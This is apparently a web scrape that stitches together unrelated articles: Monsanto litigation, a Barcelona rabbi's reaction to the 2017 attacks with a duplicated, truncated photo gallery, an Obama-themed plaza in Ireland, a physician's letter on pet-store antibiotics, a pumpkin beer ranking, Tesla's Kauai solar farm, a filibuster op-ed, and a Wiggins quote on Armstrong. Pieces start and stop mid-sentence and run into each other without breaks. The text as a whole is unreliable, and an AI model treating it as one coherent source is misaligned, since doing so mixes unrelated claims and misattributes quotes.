But the attorneys maintain the importance and legitimacy of releasing these documents, stating that they notified Monsanto of their intent to unveil them on June 30, thus giving the company the legally-required 30-day window to formally object to their being made public.
"This is a look behind the curtain," Baum Hedlund attorney Brent Wisner told EcoWatch. "These show that Monsanto has deliberately been stopping studies that look bad for them, ghostwriting literature and engaging in a whole host of corporate malfeasance. They have been telling everybody that these products are safe because regulators have said they are safe, but it turns out that Monsanto has been in bed with U.S. regulators while misleading European regulators."
The current suit against the company has been brought on behalf of people who have become ill with non-Hodgkin lymphoma as a result of exposure to the company’s Roundup product. More than 100 such cases have been consolidated in federal court in San Francisco.
Related on Organic Authority
USDA Drops Plan to Test Food for Residual Levels of Glyphosate (Monsanto's Herbicide)
Former EPA Worker Helped Monsanto Keep Glyphosate Dangers Hidden from Public
Monsanto Denied Request to Overturn California Cancer Warning on Roundup Weed KillerBarcelona's chief rabbi has urged Jews to move to Israel because "Europe is lost" to radical Islam.
Meir Bar-Hen has been encouraging his congregation to flee Spain, which he called a "hub of Islamist terror for all of Europe."
The chief rabbi's warning came after a terror attack in Barcelona left 13 people dead and over 120 wounded and was followed by another attack hours later that killed one person and injured others in the seaside town of Cambrils.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Isis claimed responsibility for both attacks, which authorities believe were the work of a large terrorist cell that had been plotting for some time.
In an interview with the Jewish news agency JTA, Mr Bar-Hen said: "Jews are not here permanently.
“I tell my congregants: Don’t think we’re here for good. And I encourage them to buy property in Israel. This place is lost. Don’t repeat the mistake of Algerian Jews, of Venezuelan Jews. Better [get out] early than late.”
He went on to say the attacks had exposed the presence of "radical fringes" within the Muslim community, a problem he said applied to Europe as a whole.
"Europe is lost," he added.
His comments were at odds with the Federation of Jewish Communities of Spain, which said it had "full confidence in security forces who work daily to prevent fanatics and radical Muslims from inflicting pain and chaos on our cities."
Shape Created with Sketch. Barcelona Attack Show all 30 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Barcelona Attack 1/30 Police officers patrol on Las Ramblas following yesterday's terrorist attack, on August 18, 2017 in Barcelona, Spain. Thirteen people were killed and dozens injured when a van hit crowds in the Las Ramblas area of Barcelona on Thursday. Spanish police have also killed five suspected terrorists in the town of Cambrils to stop a second terrorist attack Getty Images 2/30 Tourists and locals walk along Las Ramblas following yesterday's terrorist attack, on August 18, 2017 in Barcelona, Spain. Thirteen people were killed and dozens injured when a van hit crowds in the Las Ramblas area of Barcelona on Thursday. Spanish police have also killed five suspected terrorists in the town of Cambrils to stop a second terrorist attack. Getty Images 3/30 Police officers patrol on Las Ramblas following yesterday's terrorist attack, on August 18, 2017 in Barcelona, Spain. Thirteen people were killed and dozens injured when a van hit crowds in the Las Ramblas area of Barcelona on Thursday. Spanish police have also killed five suspected terrorists in the town of Cambrils to stop a second terrorist attack. Getty Images 4/30 People leave a fastfood with hands up as asked by policemen after a van ploughed into the crowd, killing two persons and injuring several others on the Rambla in Barcelona on August 17, 2017. A driver deliberately rammed a van into a crowd on Barcelona's most popular street on August 17, 2017 killing at least two people before fleeing to a nearby bar, police said. Officers in Spain's second-largest city said the ramming on Las Ramblas was a "terrorist attack" and a police source said one suspect had left the scene and was "holed up in a bar". The police source said they were hunting for a total of two suspects AFP/Getty 5/30 Police officers tell members of the public to leave the scene in a street in Barcelona, Spain, Thursday, Aug. 17, 2017. Police in the northern Spanish city of Barcelona say a white van has jumped the sidewalk in the city's historic Las Ramblas district, injuring several people. AP 6/30 Injured people react after a van crashed into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd in Barcelona's famous Placa Catalunya square at Las Ramblas area injuring several. Local media report the van driver ran away, metro and train stations were closed. The number of people injured and the reasons behind the incident are not yet known. Official sources have not confirmed that the incident is a terrorist attack. EPA 7/30 AP 8/30 REUTERS 9/30 AP 10/30 People move from the scene after a van crashed into pedestrians near the Las Ramblas avenue Reuters 11/30 A policeman stands next to an ambulance after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 12/30 Reuters 13/30 Firefighters stands outside an evacuated mall after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 14/30 Policemen stand next to vehicles in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 15/30 Plain-clothes policemen phone as they walk past police cars in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 16/30 A policemen and a medical staff member stand past police cars and an ambulance in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 17/30 A person is stretched out of a mall by medical staff members in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona on August 17, 2017. Police in Barcelona said they were dealing with a "terrorist attack" after a vehicle ploughed into a crowd of pedestrians on the city's famous Las Ramblas boulevard on August 17, 2017. Police were clearing the area after the incident, which has left a number of people injured. AFP/Getty Images 18/30 Children, some in tears, are escorted down a road in Barcelona, Spain, Thursday, Aug. 17, 2017. Police in Barcelona say a white van has mounted a sidewalk, struck several people in the city's Las Ramblas district. AP 19/30 Mossos d'Esquadra Police officers and emergency service workers move an injured man, after a van crashes into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd in Barcelona's famous Placa Catalunya square at Las Ramblas area injuring several. Local media report the van driver ran away, metro and train stations were closed. The number of people injured and the reasons behind the incident are not yet known. Official sources have not confirmed that the incident is a terrorist attack. EPA 20/30 Mossos d'Esquadra Police officers attend injured people after a van crashed into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd in Barcelona's famous Placa Catalunya square at Las Ramblas area injuring several. Local media report the van driver ran away, metro and train stations were closed. The number of people injured and the reasons behind the incident are not yet known. Official sources have not confirmed that the incident is a terrorist attack. EPA 21/30 Injured people react after a van crashed into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd in Barcelona's famous Placa Catalunya square at Las Ramblas area injuring several. Local media report the van driver ran away, metro and train stations were closed. The number of people injured and the reasons behind the incident are not yet known. Official sources have not confirmed that the incident is a terrorist attack. EPA 22/30 A police officer cordon off a street in Barcelona, Spain, Thursday, Aug. 17, 2017. Police in the northern Spanish city of Barcelona say a white van has jumped the sidewalk in the city's historic Las Ramblas district, injuring several people. AP 23/30 AFP/Getty Images 24/30 AFP/Getty 25/30 AFP/Getty Images 26/30 AFP/Getty 27/30 AFP/Getty Images 28/30 AFP/Getty Images 29/30 AFP/Getty Images 30/30 AFP/Getty Images 1/30 Police officers patrol on Las Ramblas following yesterday's terrorist attack, on August 18, 2017 in Barcelona, Spain. Thirteen people were killed and dozens injured when a van hit crowds in the Las Ramblas area of Barcelona on Thursday. Spanish police have also killed five suspected terrorists in the town of Cambrils to stop a second terrorist attack Getty Images 2/30 Tourists and locals walk along Las Ramblas following yesterday's terrorist attack, on August 18, 2017 in Barcelona, Spain. Thirteen people were killed and dozens injured when a van hit crowds in the Las Ramblas area of Barcelona on Thursday. Spanish police have also killed five suspected terrorists in the town of Cambrils to stop a second terrorist attack. Getty Images 3/30 Police officers patrol on Las Ramblas following yesterday's terrorist attack, on August 18, 2017 in Barcelona, Spain. Thirteen people were killed and dozens injured when a van hit crowds in the Las Ramblas area of Barcelona on Thursday. Spanish police have also killed five suspected terrorists in the town of Cambrils to stop a second terrorist attack. Getty Images 4/30 People leave a fastfood with hands up as asked by policemen after a van ploughed into the crowd, killing two persons and injuring several others on the Rambla in Barcelona on August 17, 2017. A driver deliberately rammed a van into a crowd on Barcelona's most popular street on August 17, 2017 killing at least two people before fleeing to a nearby bar, police said. Officers in Spain's second-largest city said the ramming on Las Ramblas was a "terrorist attack" and a police source said one suspect had left the scene and was "holed up in a bar". The police source said they were hunting for a total of two suspects AFP/Getty 5/30 Police officers tell members of the public to leave the scene in a street in Barcelona, Spain, Thursday, Aug. 17, 2017. Police in the northern Spanish city of Barcelona say a white van has jumped the sidewalk in the city's historic Las Ramblas district, injuring several people. AP 6/30 Injured people react after a van crashed into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd in Barcelona's famous Placa Catalunya square at Las Ramblas area injuring several. Local media report the van driver ran away, metro and train stations were closed. The number of people injured and the reasons behind the incident are not yet known. Official sources have not confirmed that the incident is a terrorist attack. EPA 7/30 AP 8/30 REUTERS 9/30 AP 10/30 People move from the scene after a van crashed into pedestrians near the Las Ramblas avenue Reuters 11/30 A policeman stands next to an ambulance after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 12/30 Reuters 13/30 Firefighters stands outside an evacuated mall after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 14/30 Policemen stand next to vehicles in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 15/30 Plain-clothes policemen phone as they walk past police cars in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 16/30 A policemen and a medical staff member stand past police cars and an ambulance in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona AFP/Getty Images 17/30 A person is stretched out of a mall by medical staff members in a cordoned off area after a van ploughed into the crowd, injuring several persons on the Rambla in Barcelona on August 17, 2017. Police in Barcelona said they were dealing with a "terrorist attack" after a vehicle ploughed into a crowd of pedestrians on the city's famous Las Ramblas boulevard on August 17, 2017. Police were clearing the area after the incident, which has left a number of people injured. AFP/Getty Images 18/30 Children, some in tears, are escorted down a road in Barcelona, Spain, Thursday, Aug. 17, 2017. Police in Barcelona say a white van has mounted a sidewalk, struck several people in the city's Las Ramblas district. AP 19/30 Mossos d'Esquadra Police officers and emergency service workers move an injured man, after a van crashes into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd in Barcelona's famous Placa Catalunya square at Las Ramblas area injuring several. Local media report the van driver ran away, metro and train stations were closed. The number of people injured and the reasons behind the incident are not yet known. Official sources have not confirmed that the incident is a terrorist attack. EPA 20/30 Mossos d'Esquadra Police officers attend injured people after a van crashed into pedestrians in Las Ramblas, downtown Barcelona, Spain, 17 August 2017. According to initial reports a van crashed into a crowd |
an educational experience focused on Irish-American history and culture while also celebrating President Obama's visit to Moneygall in 2011.
The development is the latest in the growing chain of properties being developed by the former schoolteacher who controls the Supermac's chain – the country's largest indigenous group of fast food restaurants.
Mr McDonagh said yesterday that it had been "a privilege" to work with the people of Moneygall to mark the visit of the areas "most famous son" to the village of his forefathers.
"We are thrilled with how the Barack Obama Plaza has turned out. We have had excellent local construction workers and suppliers helping to get the development prepared for business and now, as the doors open on Friday, we have a dedicated team in place ready to greet and look after each customer as they arrive", he said.
President Obama's relative, Henry Healy has come on board as a manager at the plaza.
He said: "This is another milestone for Moneygall. We have a facility which will enhance the community and become one of the largest employers in the area."
Irish IndependentTo the Editor:
I recently treated an Army Special Forces soldier who presented with a three-month history of purulent sinusitis that was not responding to self-medication. After much prodding, he related that he had been taking a combination of penicillin and sulfa antibiotics, which he had purchased without a prescription “in the fish medication aisle” of a local pet store. He went on to explain that this over-the-counter source of antibiotics is common knowledge among all branches of the American Special Forces community.
Out of curiosity, I followed up on our conversation by visiting two pet superstores (both of which offer the same products on their Web sites) and found the following selection of antibiotics available for purchase: erythromycin in 200-mg tablets; kanamycin in 150-mg capsules; penicillin in 250-mg tablets; ampicillin in 250-mg capsules; tetracycline in 250-mg tablets or capsules; minocycline in 10-mg tablets; triple sulfa-combination capsules containing 84 mg of sulfamethazine, 84 mg of sulfacetamide, and 332 mg of sulfathiazole; urinary antiseptic combination capsules containing 60 mg of nitrofurazone and 25 mg of furazolidone; and metronidazole in 250-mg capsules. This is only a partial list of the broad range of antibiotics that are available without a prescription at pet stores. Since these medications are not regulated for use in humans, there are no guarantees as to their quality or potency.
Brandon J. Goff, D.O.
Jonathan M. Koff, M.D.
James A. Geiling, M.D.
Pentagon Clinic, Washington, DC 20310
brandon. [email protected] amedd. army. milThere are two kinds of people: those who embrace Pumpkin-Spice-Everything Season for the miracle that it is, and the godless, gourdless heathens who reject it and live a bland, spiceless life. I fall into the former category, which means it's time to combine two of my favorite activities: drinking pumpkin beers and inflicting my opinions on people.
This is, to put mildly, a divisive topic: The seasonal creep alone is tantamount to kicking a puppy for some people. And granted, I would not drink the vast majority of these beers right when they arrive in July or August. But I never understood the visceral hatred they inspired even in-season, or at least I didn't until I decided to sample fuckin' 27 different varieties, by myself, most of them falling into one of two categories: "really good" and "liquid shit." This is ostensibly a ranking, but it is also one man's descent into nutmeg-induced psychosis.
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Some disclaimers: First off, as you've probably noticed, I am not Will Gordon, your usual Drunkspin correspondent. I am, however, burdened by the same distribution laws, and so this list is incomplete due to matters of geography: Heavy Seas GreatER Pumpkin, Hoppin' Frog Double Pumpkin, Buffalo Bill's Pumpkin Ale, and New Belgium Pumpkick are not immediately available to me, to name just a few. Your personal favorite may likewise be absent here: Just assume it tied for sixth place, which is respectable enough for you not to complain about it.
Also, unlike, say, IPAs, pumpkin beers all have a very similar flavor profile: There are only so many ways to describe these things without abusing the words cinnamon, nutmeg, ginger, clove, vanilla, and, yes, pumpkin. And that's while you're sober. But I'll do my best.
Let's give this a shot.
27. Shipyard Pumpkinhead
This is terrible. It is also probably the best-seller in this genre, which I guess makes sense, because it tastes like someone mixed McCormick's pumpkin spice into a Bud Light. The result is super-sugary, with high carbonation and an artificial-tasting cinnamon edge, along with Bud Light's unappealing corn-like sweetness. Cinnamon dominates the aroma, and must be the "natural flavor" that was added. Note that I didn't say "natural ingredients." Don't drink this.
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26. Southern Tier Pumking
Too bad. This is traditionally one of my favorites, and I'm willing to give Southern Tier, a fairly respectable outlet, the benefit of the doubt that I just got a bad bottle, but that bottle was undrinkable. The aroma is great—pie crust mixed with pumpkin puree and vanilla—but that's where my praise stops. The heavy, overpowering vanilla mixed uneasily with a medicinal sweetness and a pungent, lingering bitterness; the whole thing felt artificial and gross, right down to the metallic aftertaste.
25. Saranac Pumpkin Ale
Saranac may have been handicapped by its place in the tasting order: If I had tried this immediately following, say, Pumking, it might have placed higher, but that doesn't make it any good. This was the lightest and most watery of the beers I tried, and that includes the lagers—everything about it was bland. There's very light spice, even less pumpkin, and a cinnamon flavor that lingers. "Comparatively inoffensive" is the best I can do.
24. Ithaca Country Pumpkin
I don't know where the country of Ithaca is, but I'm betting pumpkins aren't indigenous there. This beer comes out with a far-too-strong caramel and vanilla sweetness; there's subtle hints of the titular ingredient, but not nearly enough. "This isn't terrible" is the best I can do.
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23. Two Roads Roadsmary's Baby
Connecticut's Two Roads was a late addition to this tasting, as they're largely regional, but expanding rapidly. I only mention this because this was the beer where doubt first creeped into my mind, and I feared I had forgotten what actual pumpkin tastes like. Are they supposed to taste like a cinnamon-covered green apple? I don't know anymore, and I need to rethink my life.
22. Cisco Pumple Drumkin
Nantucket's Cisco is a (relatively) local brewery to me, and as such I root for them, and make the mistake of getting some Pumple Drumkin every year, because we all need a reliable disappointment in our lives (and I don't have kids). This has a heavy grain flavor amid the spice, but there's a noticeable absence of pumpkin flavor. This reminds me too much of a macro-brewed beer, with the aforementioned corn-like sweetness and bad spice aftertaste.
21. New Holland Ichabod
The runner-up for best-named beer, Ichabod finishes far worse in taste. This has a weird, what-the-hell-is-this-doing-here lemony flavor, almost like a shandy; a huge nose of nutmeg, clove, and ginger mixes uneasily with the zesty intruder. The pumpkin tastes unripened, too. Did someone paint a bunch of lemons orange and trick New Holland into buying them?
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20. 21st Amendment He Said – Tripel
So 21 st Amendment releases a four-pack of pumpkin-flavored beers called He Said/He Said, because originality in names is for the birds. Half of this pack is a Belgian tripel: the inferior half, as it turns out. The beer itself is actually a very solid example of the style, but it totally muscles out any pumpkin taste with heavier spices. There's a hint of rye, pepper, cloves, and ginger—and the beer finishes dry with a nice, boozy warmth—but are they sure they didn't forget something, uh, important? If you want a clove beer, though, this is your guy.
19. 21st Amendment He Said – Baltic Porter
Yet another beer I remember being better. This is the alcohol equivalent of the Cinnamon Challenge, with an aggressive aroma and flavor that isn't balanced enough with the porter's natural roastiness. This gets noticeably better as it warms to room temperature, and it'll get all the way there, because it will take you a while to drink it. The pumpkin doesn't arrive until later in the show, but by then, the cinnamon-napalm bomb has made a scorched earth of your palate.
18. Weyerbacher Imperial Pumpkin
Somewhere around this beer, I had an identity crisis. I'm a pumpkin-beer guy. It's one of my defining qualities, alongside "Twitter oversharer" and "douchey-haircut-haver." But are these things just not as good as I remember? Were they never good? Did the rush to get all this stuff out in July deep-six the quality? This is cinnamon-heavy, and too spice-laden, and a hair too light on body.
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17. Harpoon UFO Pumpkin
Say what you will, but no one has done more to advance the idea of adding fruit to beer than these guys, and that's either an indictment or high praise. This continues in the tradition of light and drinkable beers with a hint of the eponymous flavor; it's yeast-forward, with light clove and bubblegum characteristics mixed with a little vanilla. It's a bit too sweet and artificial-tasting, though: Think of it as a better version of Saranac's offering.
16. Anderson Valley Pinchy Jeek Barl
Is using a bourbon barrel to make a pumpkin beer cheating? Yes, but in the immortal words of Ric Flair, "If you ain't cheatin', you ain't tryin'." Pinchy Jeek comes on strong with Wild Turkey notes, but as it warms, the pleasant vanilla, oak, and bourbon characters fade in with the pumpkin and spices. They just don't fade nearly enough. The aroma is too strong, and a little too boozy: They need to dial back significantly on the hard stuff. Cheaters don't always win (said the Patriots fan).
15. Shipyard Smashed Pumpkin
Significantly better than its more popular brother (see no. 27), this is an improvement all the way around: There's a nice mix of your standard trinity of pumpkin spices in the aroma and flavor, though it still finishes a bit too sweet. It also suffers from the same artificial-tasting sweetness that plagues Pumpkinhead: It's like drinking pumpkin syrup. Another disappointment: I had it pegged for the Top 5.
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14. Traveler's Jack-O Traveler Shandy
This was the most pleasant surprise, and might have been ranked higher if it weren't already blasphemous enough to have it 12 spots ahead of Pumking. Jack-O has a strong, sweet pumpkin smell with pepper and nutmeg notes; it tastes a lot like an augmented ginger beer. The sweetness is slightly artificial-tasting, but at nowhere near the criminal levels of its predecessors here, and it balances well with the spices. The lemon is reserved and comes out more as it warms; if there's a major flaw here, that's it, but that's not too bad.
13. Long Trail Pumpkin Ale
Vermont's a weird place, though more wacky-aunt weird than creepy-uncle weird, and besides, it's the state that finally restored my faith in pumpkin beer. Long Trail's offering has a strong vanilla and pie aroma, with the right amount of the titular sweetness up front on the flavor, cinnamon in the middle, and a ginger/clove finish. My only gripe is it tastes slightly medicinal, though nothing that would keep me from drinking it again or recommending it to a friend that I don't mind losing, but would prefer to keep.
12. Smuttynose Pumpkin Ale
Hailing from the state where Bostonians who are too poor to afford a house on Cape Cod spend their summers (New Hampshire, FYI), Smuttynose's entry is a surprisingly hop-forward brew. That's daring, and it almost pays off, but the floral notes from the hops slightly overpower the pumpkin and spices. This is a beer I would recommend to the guy that only drinks IPAs, if I had to speak to that guy for some reason, which I pray I don't.
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11. Uinta Punk'n
Uinta was my very first taste-test for this project, and I expected it to finish a little worse than this. It hits all the checkmarks on aroma and flavor: This is very much a beer with added pumpkin that stands up well on its own, as opposed to an overpoweringly pumpkin-y beer. If I awarded bonus points for being organic and/or brewed with renewable energy, this would be a Top 10 beer. But I don't.
10. Post Road Pumpkin Ale
There's something shady about Brooklyn Brewery not stamping its trademark "B" onto this, like they don't want to be associated with it. I can't imagine why: This is a simple but tasty ale that is subtle and restrained on the pumpkin without being overpowered by the spices. That said, it's a surprisingly spicy beer, adding what tastes like rye for good measure. It's a unique flavor in a category not exactly known for its uniqueness.
9. Lakefront Pumpkin Lager
My personal belief is that stouts and porters are the best beer styles for making pumpkin beer, but there's certainly a growing case to be made for lagers. The cleanness here allows a great pumpkin and cinnamon aroma to waft off this beer; the result is clean and light, if a bit too heavy-handed with the nutmeg. Nice hints of clove and vanilla, too, and it's certainly easy-drinking.
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8. Southern Tier Warlock
I still feel bad about the Pumking thing, but as Southern Tier products go, this is clearly the superior beer. Where the former was too vanilla-heavy and syrupy-sweet, this one's roasted malts and chocolate notes balance that vanilla perfectly. As it warms, the pumpkin starts to shine through, presenting you with a nice mix of flavors. I still think it's a hair too sweet, but everything works well together.
7. Dogfish Head Punkin
It's odd to think of the "Off-Centered Ales for Off-Centered People" brewery as an "old reliable," but that's exactly what this is. If you've never tried a pumpkin beer before, but you've had one of Dogfish's IPAs, this won't disappoint you: Punkin's aroma is light and subtle, with hints of cinnamon. The beer starts slightly bitter, but finishes with a tasty sweetness mixed with a little brown sugar. There are hints of vanilla and possibly too much nutmeg, too: I can't be sure, because no one knows what nutmeg tastes like well enough to deduce the appropriate amount of it.
6. Wollaver's Organic Pumpkin Ale
This won a gold metal at last month's Great American Beer Festival, and I can see why: It's an exceptionally well-balanced beer, and there's absolutely nothing wrong with it. Just a nice, balanced, if slightly subdued mix of spices and sweetness. We've officially entered "Excellent" territory, though we're not quite at "Interesting" yet.
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5. Cape Ann Fisherman's Pumpkin Stout
I don't know about you, but when I think of pumpkins, I think of guys on boats with yellow rain-slickers. Despite the unlikely combination of imagery here, this is an excellent mix: First, it's seven-percent-ABV, which is enough to combine all the flavors, but not too much to hide behind. Second, the natural roasted and caramel flavors of the stout mesh perfectly with cinnamon and nutmeg, as long as you don't overdo it; Cape Ann doesn't overdo it. All of this sets the stage for a subtle pumpkin flavor that is bolstered by dark chocolate and vanilla. If you're an aroma person, this smells the most like pumpkin pie of any of the beers I tried.
4. Anderson Valley Fall Hornin'
Anderson Valley is my pick for the most underrated brewery in the country, so much so that despite being a fan of AVBC's seasonal offerings, I had never tried Fall Hornin' before, and I had no idea what I was missing. This has a solid pumpkin flavor that doesn't come across as overpoweringly sweet, and it blends perfectly with your usual range of spices. The nice hint of vanilla is a bonus, as is the spot-on texture and carbonation. This may be the best bang for your buck.
3. Sam Adams Fat Jack
Sam Adams gets a lot of shit, and while some of it is deserved, most of it is not. Fat Jack is better than I remember thinking it was last year, and in fact is downright excellent: It's probably the most pumpkin-heavy of the bunch, bolstered by a handsome dark-amber/orange color and a strong clove/nutmeg/cinnamon triumvirate on the finish. I would describe the effect as "meaty," but that sounds gross, so we'll go with "substantial." The aftertaste is of pumpkin pie: perfect.
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2. Harpoon Imperial Pumpkin
The number of breweries with two different pumpkin beers on this list speaks to the ubiquity and market demand for all things fat, short, and orange, but this Harpoon's jam is more than a boozier brother to the UFO— it's so much better than that. In addition to a solid pumpkin character and the spices-that-shall-no-longer-be-named, HIP has tasty notes of brown sugar and molasses that complement its base flavors. It errs on the side of sweet over spicy, making it almost a dessert beer, but still drinkable in its native 22-ounce format.
1. Troegs Master of Pumpkins
Beer names are a pun-heavy clusterfuck of clever and stupid, but Master of Pumpkins is probably the best damn beer name in a long-ass time, and it's a damn good beer, too. Brewed with local pumpkins and saison yeast, it has a unique profile that mixes the best aspects of a saison (drinkability, high carbonation, estery aromas, clove and honey flavors) with the best of a pumpkin beer (which we've covered pretty thoroughly at this point). The aroma is light, but the flavors are balanced and complex. If you're not a pumpkin beer fan at all, this'll make you one.
Vinny Mannering lives in Quincy, MA and was born and raised in Boston. He writes about craft beer and homebrewing at his blog, Anti-Hero Brewing, and complains about the Bruins on his Twitter.
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Image by Sam Woolley.
The Concourse is Deadspin's home for culture/food/whatever coverage. Follow us on Twitter.Tesla Tesla will power the Hawaiian island of Kauai with solar panels and its giant battery packs.
Tesla officially unveiled the project Wednesday morning in Kauai following opening remarks by CTO JB Straubel and David Ige, governor of Hawaii. Tesla partnered with the Kauai Island Utility Cooperative (KIUC) to launch the project.
The solar farm is composed of 54,978 solar panels with 13 megawatts of solar generation capacity. Tesla has also installed 272 of its large commercial battery, Powerpack 2, to store the solar energy to use at night.
The project is expected to reduce fossil fuel use by approximately 1.6 million gallons per year, Tesla estimates. Tesla will begin turning on the massive solar system in phases.
Tesla is diving into solar energy following its acquisition of SolarCity last November. Tesla is also powering nearly the entire island of Ta'u in American Samoa with solar power and its Powerpacks.
KIUC signed a contract with Tesla to purchase 1 kilowatt-hour of electricity for $.139 over a 20-year time frame.
Before Tesla acquired SolarCity, the two companies agreed in February 2016 to use Tesla's 52 MWh Powerpack to bring 20 years of power to Kaua'i, so this project has been in the works for quite a bit.Eliminating the filibuster for Supreme Court nominees was the natural culmination of a tit-for-tat escalation by both parties. The brinksmanship is all symptomatic of a much larger problem.
Speculation abounds regarding what the Senate’s having gone “nuclear” means for those of us living in the brave new morning after. For every commentator who rues that our justices will now decline in quality, there’s one who explains that this moment actually breaks the fever of our toxic judicial politics.
Given that judges are now primarily selected for jurisprudential correctness (and on the Left for demographic correctness) rather than party loyalty and cronyism, I can’t imagine that nominees will be substantially different. Opportunities for obstruction will continue, too—pushed down to the “blue slip” and other arcane steps—even as control of the Senate remains the most important aspect of the whole endeavor.
Eliminating the filibuster for Supreme Court nominees was the natural culmination of a tit-for-tat escalation by both parties, with partisan disagreements over when it all began. The Gorsuch denouement was retaliation for the Garland blockade, which in turn followed Sen. Harry Reid’s nuking of filibusters for lower-court (and executive-branch) nominees in 2013, which came a decade after Reid used the tactic to block George W. Bush’s nominations (most notably Miguel Estrada). But that unprecedented move was only used because Bush was an “illegitimate” president, after losing the popular vote and being “selected” by the Supreme Court in Bush v. Gore.
Ending the Filibuster Is Symptomatic of a Larger Problem
At a certain point, it doesn’t really matter who started it. The senatorial brinksmanship is all symptomatic of a much larger problem that began long before Sen. Ted Kennedy smeared Supreme Court nominee Robert Bork: the Supreme Court’s own self-corruption, aiding and abetting Congress and the executive branch in warping federal power. Living constitutionalists and their judicial-restraint handmaidens have politicized the law such that judges quail at enforcing the Constitution’s structural limits and face attacks for not interpreting statutes in a way that favors “the little guy.”
As government has grown, judges are declaring what laws Congress can pass, what regulations administrative agencies can promulgate, and the scope of new rights. As we’ve gone down the wrong jurisprudential track since the New Deal, the judiciary now affects the direction of public policy more than it ever did, and those decisions increasingly turn on the party of the president who nominated the judge or justice. So of course confirmations will be fraught.
This is a new development. It’s unusual for our political parties to be so ideologically polarized, and therefore for jurists nominated by presidents from different parties to have notably different views on legal interpretation.
Congress Used to Take Care for Constitutionality
Under the Founders’ Constitution, the Supreme Court hardly ever had to strike down a law. The Congressional Record of the eighteenth and nineteenth centuries shows Congress discussing whether laws were constitutional much more than whether they were a good idea. Debates focused on whether something was genuinely for the general welfare. “Do we have the power to do this?” was the central issue with any aspect of public policy.
My two favorite examples came right around the turn of the nineteenth century. President Grover Cleveland vetoed an appropriation of $10,000 for seeds to drought-stricken Texas farmers in 1887 because he could find no constitutional warrant for such action. Then, in the course of a water-rights dispute between Kansas and Colorado, the Supreme Court explained in 1907 that “the proposition that there are legislative powers affecting the nation as a whole although not expressed in the specific grant of powers is in direct conflict with the doctrine that this is a government of enumerated powers.”
Bad judges played their part in changing all that. The idea that the General Welfare Clause allows the government to legislate on any issue so long as its action fits the majority’s conception of what’s “good” emerged in the Progressive Era and was soon judicially codified. After the high court in 1937 began approving expansive legislation of the sort it had previously rejected, no federal law would be struck down on enumerated-powers grounds until 1995. The New Deal Court is the one that politicized the Constitution, and therefore the confirmation process, by laying the foundation for judicial mischief of every stripe, both letting laws stand that should be struck down or striking down laws that should be upheld.
As President Roosevelt wrote to House Ways and Means Committee chairman Robert Daughton in 1935, “I hope your committee will not permit doubts as to constitutionality, however reasonable, to block the suggested legislation.” New Deal architect Rexford Tugwell later explained that “to the extent that these [policies] developed they were tortured interpretations of a document intended to prevent them.” During the 1930s and ’40s, we thus had a perverse expansion of the Commerce Clause that returned to center stage during this decade’s Obamacare litigation.
Courts Are Politicized Because the Left Rejects Rule of Law
In that light, modern confirmation battles are all a logical response to political incentives. When judges act as super-legislators, then senators, the media, and the public rightly scrutinize their ideologies and treat them as if they were super-politicians with lifetime tenure.
Moreover, those who view the Constitution as a living, breathing document that evolves with the times and who demand that judges read laws to maximize “justice”—never mind statutory text—will always be suspicious of originalists and textualists. (I took down this bit of “progsplaining” during the Gorsuch hearings, but truly you should read Georgetown law professor Lawrence Solum’s pithy takedown of originalism myths in his testimony.)
The principle benefit of a written constitution is that it subjects all government officials to rules and principles they can’t unilaterally change. To be sure, judges of good will can read the same words and reach different conclusions—see the dueling originalist opinions of justices Scalia and Stevens in the Second Amendment case District of Columbia v. Heller—but it’s impossible to conceive a better method for producing consistent results or a credible judiciary. If we value the rule of law, there is no substitute for a good-faith effort to apply the meaning of the Constitution, especially in light of changing circumstances and exigencies.
In a country ruled by law, and not men, the proper response to an unpopular legal decision is to change the law or amend the Constitution. Any other perspective on the judicial role leads to judicial abdication and the loss of those very rights that can only be vindicated through the judicial process. Or to government by black-robed philosopher-kings—and, as Justice Scalia was fond of saying, why would we want to be ruled by nine lawyers?
In remarks at his nomination ceremony on January 31, Justice Neil Gorsuch struck a similar tone. “It is the role of judges to apply, not alter, the work of the people’s representatives. A judge who likes every outcome he reaches is very likely a bad judge—stretching for results he prefers rather than those the law demands.”
De-politicizing the judiciary is a laudable goal, but that will happen only when judges go back to judging rather than either ratifying the excesses of the other branches or rewriting laws as they see fit for whatever external reason.Lance Armstrong and Bradley Wiggins
Tour de France winner Bradley Wiggins says he is shocked at the scale of the evidence against disgraced former champion Lance Armstrong.
Armstrong was described by the United States Anti-Doping Agency (Usada) as "a serial drugs cheat" and stripped of his seven Tour de France titles.
"It's pretty damning stuff. It is jaw-dropping the amount of people who have testified against him," said Wiggins.
"It's not a one-sided hatchet job. I'm shocked at the scale of the evidence."
